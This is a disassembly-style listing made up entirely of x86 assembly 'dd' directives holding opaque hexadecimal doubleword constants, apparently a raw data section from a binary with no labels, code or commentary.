		dd 791852E9h, 8F02484Bh, 995C8768h, 8C1BDC8h, 85E82101h
		dd 7369E9F3h, 4E7B73CAh, 0C3004014h, 26C928FFh,	3D0273B8h
		dd 0E935BB71h, 5A3AC9CAh, 0BDFC32Ch, 24104985h,	62242B50h
		dd 4C1A8905h, 7FEF280Dh, 36EF3394h, 120D0631h, 0B25099E9h
		dd 8D4A789Eh, 7AD17E13h, 0EFC9FD31h, 42680884h,	0F43B9825h
		dd 39507D40h, 85CE888h,	1CFF5924h, 0CA6FBE0h, 0E282702h
		dd 5053C0F9h, 0E92C3DB0h, 2983B9A6h, 98815EF1h,	551C464Fh
		dd 0F481BD22h, 120C9462h, 6809FCBFh, 0AE31632Fh, 0E826FDD3h
		dd 6D13B3A6h, 0D4E501D4h, 92F71FECh, 975EE8ACh,	36901B22h
		dd 45893451h, 419E92Ah,	1F5C279Ah, 81032F79h, 0F033B8EDh
		dd 5C0FE915h, 0C882BDCCh, 0C1AE2B05h, 0FB3F62C5h, 22D2DC0Ch
		dd 6E016C1h, 852A1295h,	0C54B64D2h, 0F27CC8A2h,	94FE918h
		dd 485DEA0Fh, 68094A29h, 0F85B5599h, 0E911B28h,	0F4BAEB9Bh
		dd 5960085Ah, 6680032Bh, 8B5CC529h, 57DD90C7h, 64178968h
		dd 410823C5h, 1C77802Fh, 1058669Dh, 0DB04045Eh,	0D013C1F4h
		dd 701468BDh, 0B0A247A6h, 0D34A2E46h, 0F15D4ECAh, 0BE260C94h
		dd 1EE941C5h, 0DCD549D2h, 0A7944EC8h, 0C6804189h, 49EC4258h
		dd 0A47F5814h, 0A73097C2h, 0F890564Fh, 190E9569h, 1C44E7E9h
		dd 0A09B2C59h, 42AC3BDh, 88681AFCh, 0B9128C0Ch,	0CF0BE4FCh
		dd 65CD01ECh, 3AE320FBh, 0A14C160Bh, 1651910h, 456E8C2Dh
		dd 62C5F07h, 0CA399D02h, 56E5B35h, 0AF0EDC25h, 82897251h
		dd 5017700Ah, 13EC0A53h, 7B006B19h, 0B652C728h,	0C61EFEE6h
		dd 8087E6C0h, 3F99CEh, 5AF728EFh, 0CE304858h, 0D98951CBh
		dd 6123032h, 0E9279152h
		dd 7C08B84h, 0A36BA396h, 325D143h, 33CCED35h, 0DE016F11h
		dd 5949AFCDh, 6AC5E94Eh, 2D4FD668h, 301D183h, 5FFAA15Ah
		dd 31369C28h, 0D28B0D06h, 0AC4888CCh, 7701C040h, 0FD5230C3h
		dd 5556AD0Eh, 7E3BD38h,	0D5F75F57h, 0DAD40DF5h,	1A77E4C0h
		dd 4E1B4878h, 3E2C1B0h,	0CFEFE931h, 0B88AB252h,	89D115E5h
		dd 8232C072h, 56D34D82h, 7934A16Ch, 307424F3h, 8EA121C5h
		dd 8E7EB60Bh, 1C6447F0h, 5D043411h, 2746A216h, 0A8144558h
		dd 164F9915h, 682C8C5Fh, 87C44C7Ch, 6B992313h, 12C164C0h
		dd 1D9F74Eh, 710E4B62h,	14C87178h, 68D341ABh, 42A540A1h
		dd 0ED4E5A42h, 579FE200h, 0E9513DA4h, 19BA8E1h,	0C9BDB67Ch
		dd 8785F26Eh, 15F6805h,	9487348Dh, 306D227Bh, 85BCE81h
		dd 44A663Bh, 910382EEh,	0F0DEF1C3h, 2E2835E6h, 1E114909h
		dd 0BEFED8FFh, 31BE5EF5h, 998B6529h, 0C3D1E87Bh, 163E0448h
		dd 8003EFC1h, 3836E9B4h, 0FE89FD12h, 3D8BFEC5h,	430C8334h
		dd 5D565CD0h, 575EE502h, 96494E9h, 3DE7DC02h, 2802090Bh
		dd 21482471h, 0F6888F16h, 3922EE9h, 9EC9CB37h, 84DA7D3Eh
		dd 1C13E77Ch, 0A8394742h, 0F1E0B437h, 23F2091Ch, 0D36818B2h
		dd 741E783h, 0F72F9A60h, 0BBEF80DFh, 0D87E679Fh, 2D21C501h
		dd 0FD01377Dh, 804EC21h, 40B485B4h, 16F0BE05h, 4643DE1Eh
		dd 49C7C9D7h, 962CD000h, 0D8283A5Ah, 7003D4AEh,	47487868h
		dd 0CEB1C005h, 9011C980h, 1C76BEh, 0B551AFC2h, 0C0D5F6E2h
		dd 603E533h, 7FCDF105h,	0B743F5CDh, 3B78962Bh, 0D9A4D729h
		dd 495F9F5Ch, 72592FC4h, 4C0E7BB5h, 5B2B40C3h, 2A685D58h
		dd 901417ACh, 57452B15h, 39EE09B5h, 59EF6190h, 0DAB6B91Dh
		dd 2F1375BEh, 0A1C22E90h, 34276C2h, 0C4802CB4h,	2233F87h
		dd 9AF9E630h, 0F15C34EFh, 0AC097B90h, 840D1C75h, 83045001h
		dd 922C89EEh, 0E68D5ACCh, 2811C033h, 0EE82782Dh, 0FA8475h
		dd 855C282Dh, 5FB30511h, 1266309h, 0E57D00D0h, 252A9A1Ah
		dd 0F3400BE9h, 0FEC1505Dh, 0CAF4855h, 53856433h, 0E66BD3D8h
		dd 828046DAh, 2E5C89E2h, 4BB115FEh, 5FFB3106h, 9DD97708h
		dd 4D0F1F12h, 2A7D04B3h, 320BC5C9h, 3F584252h, 1B0CF1FEh
		dd 0AEC46073h, 7A3F005Ch, 0E9F8012Ah, 18953AAFh, 16E1F788h
		dd 357B1E68h, 961AB02Dh, 312EBD41h, 0B2D36605h,	20862008h
		dd 68D8015Ch, 8B2E3B31h, 0F6012B50h, 702D911Ch,	73196802h
		dd 0D6616EADh, 969A626Ch, 0AE6EA66h, 1E69479Eh,	150848FCh
		dd 3136ED5Eh, 0E9170D06h, 2C9D4FEAh, 0AF247DEDh, 536D26B4h
		dd 593509B3h, 551E4B79h, 62F48h, 0E380A2B3h, 50386637h
		dd 4E4DC8B4h, 0CDBE4E01h, 1C8AA02h, 0CD5E54F0h,	646CD683h
		dd 0D02F843Bh, 59CB31DBh, 62DD2926h, 55F23512h,	805BD985h
		dd 0E34468BDh, 24C81248h, 2080F314h, 5D77700Bh,	8DDD50F7h
		dd 0C03C07A2h, 0C2F6816Dh, 1D407D60h, 16B67E6Fh, 0C851428Bh
		dd 3D7852A7h, 0E8902CEBh, 151506Fh, 0AECF6D4Eh,	1E185A2Dh
		dd 0B9005157h, 33B11699h, 735CE181h, 0CD6B500Bh, 367518A2h
		dd 17F40C56h, 89789F01h, 0E7C159CFh, 41020970h,	0BC71D457h
		dd 8988829Fh, 9B882E2h,	73FE9019h, 660E2850h, 84ED087h
		dd 796C750h, 0F732883Fh, 39B7D2D2h, 7E596F80h, 294E15ADh
		dd 80B25C4h, 0E983B05Bh, 87DFA84Ch, 6CEAE4D5h, 0EB1109F7h
		dd 20F38100h, 5675B60Dh, 0ABB80E50h, 89A42B67h,	45B482C6h
		dd 92BB107Eh, 312953A7h, 1D2DE918h, 3AC97F91h, 0BD0E9881h
		dd 64C6E976h, 0CEC9B61Fh, 0C74E80F0h, 5805866h,	62E960EFh
		dd 4ED1584Ah, 0D73E634Ch, 29112725h, 7F83021Eh,	24F1C626h
		dd 29F05D54h, 69A68C75h, 0C503EB9Fh, 1327F60h, 82C3C2D3h
		dd 0EACAE908h, 1587C414h, 2C216468h, 818A533Ch,	9E30239h
		dd 0DD22F0AAh, 41593471h, 0D7022380h, 4BC7E93Ah, 6018D622h
		dd 0BC21445Fh, 0BEE95451h, 73A60125h, 0E293F3Eh, 1C2D40A5h
		dd 36123A02h, 8C10E801h, 0A6050308h, 2868C05Eh,	71072D1Ah
		dd 25DB9B5Dh, 0B987FA04h, 80C8C4Eh, 0C8B63C0Fh,	8495126h
		dd 142FBB27h, 7C56485Eh, 6745E501h, 7CCE890Fh, 4801CB95h
		dd 5C80E9F8h, 0CB814CE2h, 84224A31h, 4C2B040Dh,	168E3903h
		dd 5EF38988h, 5B5A5305h, 59C8D121h, 106D9C73h, 378197BDh
		dd 0EF7C21B2h, 6BB7B9E1h, 28E9CA05h, 3FB2E194h,	11D25926h
		dd 0BAB41014h, 4D14332Fh, 60086813h, 4A214DCCh,	13D573F0h
		dd 7A5E7F24h, 26293D50h, 4C1A4382h, 704F0F45h, 3F7ADE8Ch
		dd 29016207h, 0E9C15AD1h, 0A7FB2005h, 0F8F6643Fh, 0BAAA24FDh
		dd 0CFC49E01h, 59CA0116h, 0D019146Eh, 6CA25704h, 128F84DAh
		dd 0C2480BF7h, 7DB061h,	0F1E8305h, 5359489Ch, 42C1AE89h
		dd 120D22BFh, 0EC73A68h, 2E0DA3F3h, 98DB3C7h, 0F00104EBh
		dd 0D592F380h, 80A82C3h, 0C91E8BE9h, 0A97059BAh, 0EDEEE00Fh
		dd 917E1960h, 2DF8A687h, 6840196h, 96AF8F9Ch, 71743097h
		dd 7A1CEB31h, 0B151148h, 51385C68h, 320297FCh, 0EBA158C4h
		dd 632A7BE9h, 0FEAF50EAh, 0FE404B40h, 4267416Dh, 0A15B59C5h
		dd 9EA6BC9h, 79186806h,	6A25396Dh, 4BB6E498h, 2AD28B0Ch
		dd 0ED99925Ch, 5E330199h, 0E9D8303Bh, 0A095FCE7h, 62B2FED1h
		dd 0F8312721h, 0C6971FE5h, 0C801ECC1h, 286425DDh, 27C1B233h
		dd 30184009h, 0F3C05A3Ah, 0BC178FC5h, 96A8F65Ch, 5D5305B7h
		dd 591BA05Bh, 0D06921ECh, 0D159A99Bh, 2F06A1EDh, 3BE9C002h
		dd 5200EDF0h, 7AE56855h, 765D190Ah, 3A26FE81h, 62F30DCh
		dd 0CB5E7984h, 5975253h, 5FEB1BC1h, 0B56A7886h,	958F158h
		dd 40B4074Ch, 92AF42D6h, 0D69475A2h, 5168BE10h,	793E84A0h
		dd 5781305Ch, 6E17713Ch, 80ABEDEBh, 0B90E3766h,	0B2B017A6h
		dd 107D209h, 49602B0Eh,	5C3B4B24h, 4849ED0Ah, 0F9FE82D3h
		dd 7A70BDDh, 0F0007552h, 48F53112h, 47353F5Eh, 5A1422A1h
		dd 22C9DE5Eh, 577321Ch,	17E14531h, 88198CFFh, 665AF10Eh
		dd 8ACBA053h, 0F602244Ch, 0E908C55Ch, 0BEE5408Fh, 2E472874h
		dd 48B04E71h, 7EED125h,	19C051B6h, 4016E950h, 0B1EC4F4Dh
		dd 0FD797C67h, 799564D4h, 0F8DA13A7h, 0EE3DD94Ch, 7244A8Bh
		dd 0E76872B2h, 0EAE98AB5h, 30442773h, 0FFB27CF6h, 58E3281Eh
		dd 591CA50Ch, 985D5CEFh, 623D6910h, 925E01Eh, 46667402h
		dd 2DD3F703h, 0DBC6DF1Ah, 9A2B514Fh, 3F637925h,	9FB79DE9h
		dd 92165D41h, 2BB91E40h, 472626Eh, 0EB47692Dh, 323AC235h
		dd 68E120F6h, 327B63E1h, 9FEB873Bh, 0B19B904Eh,	27023A50h
		dd 3C0E5068h, 0B3D87EEEh, 2016E5C9h, 3B007F05h,	80F8DF0Dh
		dd 0C1394EE9h, 32FA897Eh, 58CB11h, 0FC1E64E3h, 5EF8C029h
		dd 497CA639h, 0F5CBDEECh, 54EB8201h, 7001C30h, 0D141662Eh
		dd 0BCDFE9E3h, 6A680101h, 3219C36Fh, 0E5E0D679h, 236C66F1h
		dd 0F4206089h, 5B39B505h, 889EDA83h, 0FFAFB19Dh, 0E1E8C204h
		dd 5D56C2EAh, 0E597C152h, 0F85341F0h, 83F09F5h,	13036228h
		dd 0BA7FDB7Dh, 41270698h, 2A8C466Fh, 2DBA03B7h,	5BE9B69Dh
		dd 70CECD5Bh, 864A5827h, 0BB0EE5C4h, 93C80FF5h,	81951E24h
		dd 45E2F81Ah, 63452697h, 151624B8h, 0E313F801h,	3EC22A88h
		dd 11640281h, 8E2BEC5Ah, 0E9C2B0DCh, 0EC6C4CF3h, 40E3505Dh
		dd 6FF03292h, 0E124CD4Fh, 193F0F8h, 522ED7Ch, 0CD6A94D1h
		dd 0E90840C4h, 1754424h
		dd 85E76552h, 0DC2AC968h, 5383FB99h, 0E245AC5Eh, 0E62C08FDh
		dd 53B3654Ah, 0C7BEE356h, 557CAFE9h, 326C0FEEh,	656909A8h
		dd 20B3B242h, 463B0C46h, 0BC680BBFh, 0A0736425h, 40FA89h
		dd 0E1810C23h, 469A57B1h, 3696E918h, 0C5265A33h, 994FA989h
		dd 5EE23413h, 43154912h, 0CF806885h, 48D425E3h,	0C52A256Ah
		dd 0B57B2BFh, 0A806862Ah, 18802001h, 0CC84601Fh, 2241735Bh
		dd 5EEC3CE6h, 161A7060h, 0A113C3h, 632C38FFh, 0C7130167h
		dd 454B6BE9h, 309A315Dh, 41188B22h, 0E38620B5h,	75CE7B8h
		dd 200309E0h, 0F6D3C6DEh, 30D60EEEh, 0C3695AF0h, 0B6A090F8h
		dd 1E68E987h, 9203E647h, 0D915D055h, 4B2462DBh,	4084B453h
		dd 0D889C329h, 0AAE95B0Dh, 0EFE5236Bh, 0B6E585E0h, 27016423h
		dd 0DC004DBDh, 7B1F2C59h, 13404AD8h, 0EAF132h, 0F663128Bh
		dd 48853750h, 33AA5818h, 625D8B0Ch, 2F87340Fh, 55165845h
		dd 40874975h, 432C1839h, 9229DD4Bh, 3C95A1BFh, 8D35B430h
		dd 0A12686B9h, 0E957C1EBh, 41A852h, 0E545BB05h,	76EC29B9h
		dd 0C51CFCB5h, 8D55F164h, 5D49139Fh, 4497EFF3h,	0D1BF836Dh
		dd 235098BAh, 56097B65h, 80659637h, 8A06A125h, 0D7212D1Fh
		dd 4F0ABD14h, 0E008E7C1h, 0AF7C8C01h, 0FD38D159h, 0ADBF4601h
		dd 84DF0152h, 33668BDh,	0AD9065FDh, 47764802h, 0AF624577h
		dd 207E34C1h, 0D0BC580h, 94D6C6FDh, 4BE91803h, 9DBABEB9h
		dd 3914757Ah, 49F9D689h, 0FC315FC8h, 0E2245AD5h, 9265AE9h
		dd 0EEC6B820h, 94530DCBh, 0D06ED4Eh, 0B9A251B1h, 9EDD320h
		dd 14DE6851h, 4F0F2666h, 575B413h, 0B9E858C1h, 61690916h
		dd 2BB6730Eh, 586A6061h, 52729393h, 0C962A29Ah,	3036805Ah
		dd 0B06AB767h, 310372EFh, 0DD3373EEh, 0B524205Bh, 32B70192h
		dd 0AE5F02BEh, 55C809EFh, 5F67F921h, 80F20A4Eh,	0E381002Eh
		dd 34140F83h, 48D4B57h,	0B8FBF403h, 50076FCh, 3A7C51A0h
		dd 2D51C801h, 4B4A6607h, 5AB5E288h, 4711DC5Eh, 96A83AAh
		dd 16315640h, 0F77A7701h, 350540D0h, 0E0E211A7h, 0AB69FB51h
		dd 0E75B04E9h, 0B2E6491Dh, 0EC6EBB54h, 0BE5F10C9h, 6216BD6Eh
		dd 0CC0621BDh, 77FCD252h, 233A8A04h, 41D690C3h,	8D02081Ch
		dd 38B8F24Ch, 0E24D02C2h, 0C45C8E94h, 0E9F120E4h, 95890994h
		dd 35BA393h, 0C8310E4Eh, 86C0ADD4h, 5B711105h, 4A4C8801h
		dd 0F201E441h, 282F1A78h, 284A09E1h, 661D66CCh,	775A1B3Ch
		dd 26522D07h, 0CDF40CEAh, 662C449Dh, 39815025h,	40791744h
		dd 0F912D384h, 3F326664h, 0C3B0A9B9h, 0CB0652A1h, 7E3C163h
		dd 5503004Ah, 0F32175ECh, 0B29A54E9h, 74812D00h, 71354319h
		dd 7BAE285Bh, 257809FAh, 0F8039FBh, 9CC46F5Ah, 0E9E80104h
		dd 9CE6237Ah, 0D306C94h, 6F33325Bh, 0F4C1E2A0h,	22231B24h
		dd 0E950783Bh, 14975808h, 404C982Bh, 9C955C41h,	0B85CF961h
		dd 0B68DBA73h, 1AA81C6Ch, 0F970AAE7h, 5316939Bh, 0B1F38183h
		dd 82053DD8h, 0F85618FCh, 2E010892h, 0F264F23h,	9E10C97h
		dd 648A1EA5h, 0B4B417F6h, 862E1989h, 0E20EB878h, 280A01A7h
		dd 0DE70F287h, 9383A872h, 47DC2C20h, 67DD007Eh,	30E93AB0h
		dd 3ECC0E5Ah, 0CB3E9C55h, 5D166065h, 166B22B1h,	5BB5CA5Eh
		dd 63E9C281h, 0A345E374h, 922341FBh, 2F895FE1h,	0A0325DEAh
		dd 5C17F558h, 3A443CD3h, 2501B107h, 60FC46D8h, 4840BEABh
		dd 24129A59h, 215376Bh,	0E856ACCBh, 0E2E7DB78h,	17FCDA60h
		dd 68288E04h, 868C4DB3h, 2CC67288h, 58A75A33h, 3F6512E9h
		dd 0DBFCEA2Dh, 5BFC01A2h, 0B30BC5A9h, 0ADC1736Fh, 0BFFA1B9Ah
		dd 0FC00FD41h, 0CD31C6h, 89C9811Ah, 41333C3Ah, 0EAF2C151h
		dd 393DE1C0h, 0A1204A60h, 9073714Eh, 922D6C58h,	0AC09C138h
		dd 7AD92Eh, 55297BCAh, 0CE013412h, 59080F86h, 95EF125h
		dd 18AA929Dh, 0C2EC2FEFh, 6B5CC1FCh, 7DA88070h,	802937D7h
		dd 119F565Ah, 2135AF2Ch, 9493400h, 594C3226h, 0FAA6DE62h
		dd 2F9F5954h, 0F661A62Ah, 0B2CAECFDh, 58C0FE39h, 1D920B02h
		dd 0AAE8ED9Fh, 254A1E68h, 0B77BC8h, 30F6B650h, 9DE95BFEh
		dd 15732C5Ah, 0CC0C4F83h, 8F34E9D8h, 94E86CF8h,	0A9CF2985h
		dd 95215B9Bh, 0D98F49ABh, 0C3895FFBh, 0BCF245EBh, 0D7901CFAh
		dd 0D101B492h, 0FC23BEAh, 9D286384h, 2F166824h,	3BE9F198h
		dd 0F3A95C60h, 4CA00209h, 0EC068C39h, 1855DE19h, 0C4C300Bh
		dd 0C7909A5Eh, 93423B40h, 0B9D04413h, 242A1BEAh, 7BA688h
		dd 28DB335Dh, 0E97BD329h, 0E3922D94h, 4EA93E01h, 0F26049B4h
		dd 182B9004h, 8E583722h, 0DAFE7AC9h, 18564B5Dh,	0D8773121h
		dd 0D0280B5Bh, 0C568172Ch, 0C64B9EE9h, 0B5684720h, 4B673E7Ah
		dd 20E8D493h, 46105250h, 15A81467h, 0F61A4102h,	0B008A0ECh
		dd 48A2B701h, 757CC783h, 15D06841h, 0CAD5CA7Ch,	0B191E916h
		dd 40034BD3h, 8B9775D6h, 0F4506435h, 0BE0F407Bh, 3C20960Fh
		dd 0E6424B4Eh, 59D6DF53h, 735B260Ah, 11A0105Ah,	465E5D03h
		dd 0EE93F531h, 0EF870807h, 0A73AC14Fh, 7F45F71Ch, 0DA0172A6h
		dd 0E7913B9h, 0CD042C21h, 56E40812h, 13E39A05h,	0CC6B1168h
		dd 0ED64F3EBh, 0D2BD181Bh, 0A666E1Ah, 1622BFEh,	59B2414Ch
		dd 98386B25h, 0E9B0A0A5h, 0D8E20h, 35D8F75Eh, 73056F64h
		dd 6B62DCE4h, 7C77E992h, 51E082E4h, 0F5828368h,	0D5D45956h
		dd 0D5E18100h, 0A169643Ah, 22E42B2h, 5BDA3143h,	4F82F081h
		dd 1EF2C714h, 0FB87D568h, 8D7F732h, 81CA8083h, 93512E3h
		dd 0CEE92144h, 0BB52DD50h, 0D8891FD4h, 0E9AC1712h, 0E914785Ah
		dd 292EF82Ch, 0F1239269h, 0B6549699h, 71E91356h, 8EB34485h
		dd 4B09681Ah, 0E02517E3h, 0F76CC0D1h, 4D2DEh, 27E5DF7Ah
		dd 0F02789FAh, 7E9F055Eh, 4A01D753h, 59C52DDCh,	80FB5020h
		dd 1AB0F652h, 805A0101h, 0B2CC0EEh, 0B91BDA44h,	0AD90A9F7h
		dd 56A645BDh, 3BB817Fh,	710A8E22h, 0A8A81469h, 0C39A35D4h
		dd 4FECE001h, 0C823219h, 0CF969C14h, 2680C680h,	295E2BD1h
		dd 64085610h, 87D3433Eh, 0F4A4BAFBh, 535C0CA6h,	0BCAACC7Ch
		dd 8393DD56h, 69D83AC4h, 0E77CF8FAh, 0F9C38592h, 495B7BAAh
		dd 120B1A13h, 164F0059h, 0EC63421Ah, 9D3F0BF6h,	5BF835B9h
		dd 955C48D4h, 4FCE1289h, 0FA17EA8h, 2C212BAFh, 0A2A5ACFBh
		dd 0F9499079h, 38342691h, 66D1C8DFh, 0F654AF9Dh, 7567BBA1h
		dd 8BF0B975h, 93E06AE9h, 5BF85F29h, 0CAFE683Ah,	0EED93832h
		dd 9621F4FEh, 25D8CB6Ah, 0C56E14B5h, 34C330D5h,	2E7DA14Dh
		dd 0B5E9CF30h, 62CEB469h, 0B68D1DEh, 0DA401CCh,	27E21B22h
		dd 344E64D4h, 996255h, 0CE448EC7h, 0C629771Eh, 82085139h
		dd 745CFE1Ch, 4A6DE426h, 1969128Fh, 6EA31385h, 0D45C3609h
		dd 9E68500Eh, 99BB3F62h, 5C780970h, 570A0E29h, 25EF0808h
		dd 0AF7ABA60h, 33C2819Ch, 9192744h, 920A4AE6h, 0FC4ED02Eh
		dd 9760111h, 566118CFh,	49C12887h, 3BB02EECh, 0CC39D327h
		dd 47A00DDh, 0BA522EF6h, 0B673726Ch, 7612BD00h,	0D5314240h
		dd 882EE75Ah, 0F0415931h, 85ED802Eh, 57803E40h,	0F68AD268h
		dd 5FBA1877h, 1E0AED9Dh, 0D709172Fh, 1C24982h, 7309280Fh
		dd 0C9B26360h, 0A4DA283Ch, 5A96F34Ch, 9F7833D8h, 22EC1733h
		dd 8A2D59DAh, 0A69ECFE9h, 5BBD01E9h, 300FF427h,	61728A80h
		dd 0A533F498h, 0BAF93F46h, 0B61075DFh, 0B53D09E6h, 494B9302h
		dd 0C25F4E6h, 2AB21C38h
		dd 139DBF80h, 41DF243h,	6D53B21h, 543B6C31h, 40C08B2Ch
		dd 0F07A284Dh, 0B7B597Eh, 1EBCC720h, 1645EDD1h,	0BEEF8031h
		dd 0A500566Bh, 0A2F9BB1Bh, 17299443h, 4315EF3h,	0AAD82173h
		dd 485B9233h, 0C52EDD9Fh, 0CD898EDBh, 2023EA4Dh, 28916F1Eh
		dd 204AA9A8h, 70B6D877h, 6F89E580h, 0C2F11B68h,	30428F85h
		dd 9D61BB60h, 6ED298C3h, 0D10E38AAh, 0E0A033EDh, 1DF62305h
		dd 0C101DC17h, 6CC9A1E2h, 71B52C41h, 0C03D4003h, 800408E5h
		dd 0B753BDEDh, 35C21984h, 7276C8h, 3F4172BAh, 0F2048122h
		dd 3BE03040h, 12F101AAh, 2C681562h, 13D68EBBh, 88E137ACh
		dd 14CB2EEFh, 9D4B774Ch, 7A232E7Bh, 55E95C3Ah, 0E90283A2h
		dd 70D5012h, 7E49D6B9h,	2C50A206h, 7742BE9Ah, 376AB6C2h
		dd 10692FFCh, 0A63E8027h, 0B95454BBh, 0B54830E9h, 0C82FD95Dh
		dd 49B76350h, 2F18102h,	0D2234574h, 0E56C4D88h,	0F587663Fh
		dd 62594FFEh, 5F41E831h, 1DF10460h, 0B862343Eh,	13EFB233h
		dd 6B5FE9F9h, 83C5B915h, 36335BDEh, 0D0631C8h, 0BD9EE92Eh
		dd 805FB281h, 0E2CCB7EAh, 0A968128Ah, 0B973CC13h, 88E1E92Eh
		dd 12B72994h, 0CC00425Ah, 51C249AFh, 0A058E609h, 2D7DEBFAh
		dd 6C8BD1FEh, 6FD274E2h, 6E4CD225h, 2096B082h, 5072B6Ah
		dd 1F3709B6h, 0FE610AA2h, 568A6CF0h, 0A72FCD95h, 0AC029EA9h
		dd 10810828h, 0CA93E02Ch, 2F499661h, 2D5E1ACEh,	81AA35E3h
		dd 3103B02Ch, 42B4338h,	12F5C0B7h, 0ABB31E06h, 0E8832D0Ch
		dd 0B91E2788h, 0F40E1B0h, 1B00E625h, 22AF6851h,	0C0591A63h
		dd 0CA42D11Ah, 0D9623144h, 0C183EB86h, 163C2F75h, 0F08C328h
		dd 4E3C159h, 27F5CE5Ch,	342078CCh, 0D71FFF13h, 0ECB874C4h
		dd 9021B4F7h, 4A4BBA4Fh, 0CB314324h, 0F9CBFE1Eh, 2E2C2FF2h
		dd 5453E5E5h, 824A96FCh, 44465D95h, 0A2AB0F2Fh,	0CA883BEh
		dd 0C0068AB6h, 0DF29F6C6h, 80F73A86h, 0C17F0475h, 825602EFh
		dd 7C09B87Ah, 939823Ch,	8480043Bh, 311D1577h, 4F402166h
		dd 102C3820h, 0B13298FAh, 85C617C4h, 0E9057CACh, 75DEB459h
		dd 0F8A7306Bh, 5F6BB83Dh, 0C135Eh, 3834BCB2h, 0E2F4421Bh
		dd 16B0748h, 6D9D5B13h,	403E71E9h, 0CC14C5ACh, 0E7B0E847h
		dd 96C45D4Bh, 584831EFh, 4EBF7651h, 80A53829h, 0D7CF2379h
		dd 288F8550h, 7806C4D5h, 4D345D5Fh, 44049812h, 0FD7E2901h
		dd 78B95100h, 0F77F9939h, 0C18103D1h, 3CD66B7h,	0F2AF0C3Bh
		dd 8FBA5760h, 2E38806Dh, 9D5D54E9h, 81E4935Bh, 38E1C13Bh
		dd 0BACC04B9h, 0C3ECF83Bh, 0AD385725h, 0BE80E6B6h, 0D6320741h
		dd 0C7F52923h, 0AF35DDBh, 48CB136Dh, 0A892DEA8h, 2AD192B4h
		dd 5B00B033h, 595BCD29h, 0EE211DCBh, 122CA5BFh,	24F9A8Bh
		dd 59A73728h, 5266A7A3h, 450C7E49h, 0E024A726h,	0F1BD4Eh
		dd 0F7545108h, 0CD3145DDh, 8DCE9E4h, 851035CAh,	515EF289h
		dd 0E229455Ch, 626C2582h, 2081CEA5h, 660F255Dh,	0F6B5515Bh
		dd 8002A701h, 0F5CC2DC5h, 0D922B786h, 0C9D408EDh, 0E0B65262h
		dd 0BD0FD38Ah, 22686198h, 891D305Dh, 977298D6h,	0D35E12D8h
		dd 7358B031h, 0F0251C9Ch, 7749C47h, 60791958h, 0BC61F0EAh
		dd 0DA68557Fh, 1C34081Ch, 875B1402h, 580ADC14h,	0AC80A67Ch
		dd 0C2D84C30h, 846AF224h, 0B2735A68h, 52247853h, 0E9C29118h
		dd 49AAD89Ah, 0CEF4ED58h, 0FB4B2C64h, 2E2A2D80h, 9010C45h
		dd 47FB68F8h, 0B48356D9h, 37054D14h, 605B589Ah,	4CD671F5h
		dd 0FED9F724h, 2B3FCE00h, 13F4351Ah, 0ECDA4D9Dh, 0C4E90B32h
		dd 0A446D3ECh, 5DA90221h, 20600314h, 0C2608305h, 328DEA24h
		dd 68271218h, 0C0E6ACD6h, 738290B8h, 9B29593Bh,	6FA1C62Dh
		dd 2F475CE9h, 4C782661h, 4BDE4578h, 0EEE64B7Fh,	0F125F192h
		dd 0E41A2961h, 7A62579h, 818B54F3h, 0E99268EEh,	0AE67B261h
		dd 5FFB04F8h, 9965A368h, 0A04AEA2Fh, 0FA90D0C3h, 30E4595Bh
		dd 2701D048h, 0C8F0591Ah, 66600FACh, 91051000h,	0F000742h
		dd 8F25BC35h, 9F72D59h,	40536D4Ah, 0BA805851h, 25787161h
		dd 33609531h, 0F1BCF360h, 2217E38Eh, 85DE894Ch,	7F014593h
		dd 341C5FEBh, 802DBA20h, 0CCEDCC80h, 0C1EC3AECh, 3F069167h
		dd 0DEE9E100h, 0E0F7D669h, 75178836h, 92080EDAh, 0CB31090Ch
		dd 535F3566h, 195C4001h, 0BA006FE5h, 0B3057A63h, 172BE922h
		dd 7C515FD9h, 35293E6Ch, 0BF457496h, 2A25D30Bh,	0DB25FD59h
		dd 0D4A22FB7h, 0B6A88h,	56FAA65Bh, 0EB893E8Dh, 1B0D4898h
		dd 0C032B3F2h, 86D14883h, 9F37369Eh, 574A55B6h,	8309278Ah
		dd 0B77C02C7h, 4A90E962h, 88360F7h, 18E10F81h, 20F62E3Eh
		dd 9E37AC46h, 43E91D13h, 57B86DC0h, 2944014Bh, 1940052Dh
		dd 30F8D962h, 6110C3BDh, 4D0C1233h, 0F556E5C1h,	877C0509h
		dd 0AA7D86AEh, 0FCEB7B73h, 0EC3302F3h, 0DE297463h, 2EFA9C82h
		dd 0A6003744h, 0F7424420h, 0E0C1D0h, 314E2D08h,	0B6353959h
		dd 82862709h, 60476AE9h, 1F1A7h, 0C8292FA5h, 0FC630559h
		dd 7080DC2Eh, 1C514202h, 0D68E7F4Ah, 581E0854h,	81727529h
		dd 2E462822h, 3BFC6B81h, 0F8715C02h, 4E2B2630h,	0E9320952h
		dd 0E5B00A05h, 0E1256853h, 7A714445h, 0EB329FE9h, 9CB6096Ch
		dd 0A579278Fh, 10818743h, 87040947h, 93BA745Ah,	19E9AD07h
		dd 20D949DDh, 0A449F882h, 39294FA5h, 0A433EE60h, 4D79F24Fh
		dd 7781A712h, 7132DA0Eh, 182E474Fh, 0D45DEF89h,	0FC069CFBh
		dd 0F08E6E64h, 0D700F6C1h, 528CCF80h, 0FC27B353h, 1F1092C9h
		dd 92748EBDh, 4500490Ah, 98402EF6h, 0EC3A8C0Eh,	270DEACDh
		dd 97812AC8h, 6A6BD86Dh, 0C2CF3A46h, 0F8A6094Dh, 4462B91Ch
		dd 2DDC7289h, 0E0F3E989h, 13F831BBh, 0EC6295Fh,	542F6C3h
		dd 94552DFAh, 3D6801BBh, 5E503C47h, 803830F7h, 778C3F5Bh
		dd 0C4370A67h, 1A880950h, 946841F8h, 27B8864h, 68CC5A27h
		dd 0F007C734h, 60EEF63Fh, 15BA16E1h, 54909134h,	0B0970C98h
		dd 0D3AE0F0Dh, 61C8CA26h, 223D71DCh, 0E3BFB770h, 0FB21288Eh
		dd 0C92382E5h, 0E47CCA3Ah, 0C830D904h, 69ABD3C4h, 68DB6036h
		dd 0A28F0BC6h, 0B4B0BD52h, 66A0D613h, 11131643h, 4CE3581Ah
		dd 68073197h, 0ED86AA2h, 0E3534AC1h, 4AE90C4Dh,	9CF5DB9h
		dd 61573317h, 202523DCh, 83109F1Eh, 965B028h, 68EB1F3Dh
		dd 0AA08D785h, 3ECA2730h, 565F4A61h, 84D3B7D0h,	0E0A83BE9h
		dd 3441C79Dh, 0A804B433h, 0EBF18A5h, 7B876CEh, 897EA3F6h
